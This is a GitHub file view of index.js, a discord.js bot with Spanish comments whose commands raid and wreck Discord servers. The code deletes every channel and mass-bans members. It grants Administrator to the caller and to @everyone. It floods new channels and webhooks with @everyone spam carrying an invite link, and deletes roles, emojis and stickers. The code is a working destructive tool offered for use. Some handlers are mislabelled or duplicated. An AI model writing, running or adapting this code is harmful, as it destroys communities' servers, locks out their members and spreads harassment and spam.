-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
184 lines (184 loc) · 8.59 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
const { Client, Events, ComponentType, ReactionEmoji, GuildEmoji, WebhookClient, PermissionsBitField, GatewayIntentBits, EmbedBuilder, ChannelType, ActionRowBuilder, StringSelectMenuBuilder, StringSelectMenuOptionBuilder, ActivityType, PermissionOverwrites, PermissionFlagsBits, Embed, IntentsBitField} = require('discord.js');
const client = new Client({intents: [103423]});
const bot_token = ""; // Introducir el token del bot
const prefix = "-"; // Prefijo del bot
client.on(`ready`,()=>{
console.log(`> Bot ${client.user.username} activo.`);
console.log(`> Invitación del Bot (administrador permisos): https://discord.com/oauth2/authorize?client_id=${client.user.id}&permissions=8&integration_type=0&scope=bot`)
});
client.on(`messageCreate`, async(msg)=>{
if(msg.content === prefix+"options"){
msg.reply({embeds:[
new EmbedBuilder()
.setTitle(`Comandos del bot:`)
.addFields(
{name:prefix+'raid',value:'Crea canales y hace spam en ellos.'},
{name:prefix+'nuke',value:'Elimina todos los canales del servidor.'},
{name:prefix+'getadmin',value:'Obtén permisos de administrador.'},
{name:prefix+'adminall',value:'Todos reciben permisos de administrador.'},
{name:prefix+'massping',value:'Hace spam en todos los canales de texto.'},
{name:prefix+'renamechannels',value:'Renombra todos los canales.'},
{name:prefix+'createwebhooks',value:'Crea webhooks.'},
{name:prefix+'spamwebhooks',value:'Hace spam en todas las webhooks del servidor.'},
{name:prefix+'createroles',value:'Crea roles.'},
{name:prefix+'removeroles',value:'Elimina todos los roles posibles del servidor.'},
{name:prefix+'renameroles',value:'Renombra todos los roles posibles.'},
{name:prefix+'removestickers',value:'Elimina todos los stickers posibles del servidor.'},
{name:prefix+'removeemojis',value:'Elimina todos los emojis posibles del servidor.'}
)
]});
};
if(msg.content === prefix+"nuke"){
await msg.delete().catch((e)=>{});
let channelsxd = await msg.guild.channels.fetch();
for (const ch of channelsxd.values()) {
ch.delete();
};
await msg.guild.channels.create({name:"nuke",type:ChannelType.GuildText}).then((ch)=>{
ch.send({content:`> ||@everyone||\n> Este servidor ha sido nukeado por mi xdxd`})
});
};
if(msg.content === prefix+"getadmin"){
const rolllll = await msg.guild.roles.create({name:"$",permissions:[PermissionsBitField.Flags.Administrator]});
await msg.guild.members.cache.get(msg.author.id).roles.add(`${rolllll.id}`);
};
if(msg.content === prefix+"adminall"){
await msg.guild.roles.everyone.setPermissions([PermissionsBitField.Flags.Administrator]);
};
if(msg.content === prefix+"massban"){
let membersxd = await msg.guild.members.fetch();
for (const memberxd of membersxd.values()) {
memberxd.ban();
};
};
if(msg.content === prefix+"raid"){
await msg.delete().catch((e)=>{});
async function enviar_mensajes(channelxdxd) {
for (let index = 0; index < 20; index++) {
let channela = client.channels.cache.get(channelxdxd.id);
channela.send({content:`> ||@everyone||\n> **Este servidor ha sido raideado por mi.**\n> ** https://discord.gg/kEB3PCPkzc **`});
};
};
let nr_canales = 20;
for (let index = 0; index < nr_canales; index++) {
let ch = await msg.guild.channels.create({name:"ch-raid",type:ChannelType.GuildText});
enviar_mensajes(ch);
};
};
if(msg.content === prefix+"massping"){
await msg.delete().catch((e)=>{});
async function enviar_mensajes(channelxdxd) {
for (let index = 0; index < 20; index++) {
let channela = client.channels.cache.get(channelxdxd.id);
channela.send({content:`> ||@everyone||\n> **Este servidor ha sido raideado por mi.**\n> ** https://discord.gg/kEB3PCPkzc **`});
};
};
let channelss = await msg.guild.channels.fetch();
for (const ch of channelss.values()) {
if(ch.type === ChannelType.GuildText){
enviar_mensajes(ch);
};
};
};
if(msg.content === prefix+"renamechannels"){
await msg.delete().catch((e)=>{});
let channelss = await msg.guild.channels.fetch();
for (const ch of channelss.values()) {
ch.setName(`ch-renamexd`);
};
};
if(msg.content === prefix+"createwebhooks"){
await msg.delete().catch((e)=>{});
let channelss = await msg.guild.channels.fetch();
for (const ch of channelss.values()) {
try {
await ch.createWebhook({name:`sexo`});
console.log(`Se ha creado una webhook en el canal ${ch.name}.`);
} catch (e) {
console.log(`No se pudo crear una webhook en el canal ${ch.name}\nMensaje de error:${e}`);
}
}
};
if(msg.content === prefix+"spamwebhooks"){
await msg.delete().catch((e)=>{});
async function whs_spam(wh) {
for (let index = 0; index < 40; index++) {
try {
wh.send({content:'> ||@everyone||\n> Server raideado por brizlixd.\n> https://discord.gg/kEB3PCPkzc'});
console.log(`Se ha enviado mensaje en la webhook ${wh.name}`);
} catch (e) {
console.log(`Error al enviar mensaje por la webhook ${wh.name}\nMensaje de error: ${e}`)
}
}
};
let webhooksxd = await msg.guild.fetchWebhooks();
for (const wh of webhooksxd.values()) {
try {
whs_spam(wh);
} catch (e) {
console.log(`No se pudo enviar mensajes en la webhook ${wh.name}\nMensaje de error: ${e}`)
}
}
};
if(msg.content === prefix+"masscreateroles"){
await msg.delete().catch((e)=>{});
let nr_roles = 20;
for (let index = 0; index < nr_roles; index++) {
try {
await msg.guild.roles.create({name:'rol-test'});
console.log(`Se creó un rol perfectamente.`);
} catch (e) {
console.log(`No se pudo crear un rol. Mensaje de error: ${e}`);
}
};
};
if(msg.content === prefix+"removeroles"){
await msg.delete().catch((e)=>{});
let roless = await msg.guild.roles.fetch();
for (const rol of roless.values()) {
try {
await rol.delete();
console.log(`Se eliminó el rol ${rol.name} con ID ${rol.id}`);
} catch (e) {
console.log(`No se pudo eliminar el rol ${rol.name}\nMensaje de error: ${e}`)
}
};
};
if(msg.content === prefix+"removeroles"){
await msg.delete().catch((e)=>{});
let emojiss = await msg.guild.emojis.fetch();
for (const emj of emojiss.values()) {
try {
await emj.delete();
console.log(`Se eliminó el emoji ${emj.name} con ID ${emj.id}`);
} catch (e) {
console.log(`No se pudo eliminar el emoji ${emj.name}\nMensaje de error: ${e}`)
}
};
};
if(msg.content === prefix+"removestickers"){
await msg.delete().catch((e)=>{});
let stickerss = await msg.guild.stickers.fetch();
for (const stickerxd of stickerss.values()) {
try {
await stickerxd.delete();
console.log(`Se eliminó el sticker ${stickerxd.name} con ID ${stickerxd.id}`);
} catch (e) {
console.log(`No se pudo eliminar el sticker ${stickerxd.name}\nMensaje de error: ${e}`)
}
};
};
if(msg.content === prefix+"renameroles"){
await msg.delete().catch((e)=>{});
let roless = await msg.guild.roles.fetch();
for (const rol of roless.values()) {
try {
await rol.setName(`roles-renamexd`);
console.log(`Se renombró un rol`);
} catch (e) {
console.log(`No se pudo renombrar el rol ${rol.name}\nMensaje de error: ${e}`)
}
};
};
});
client.login(bot_token);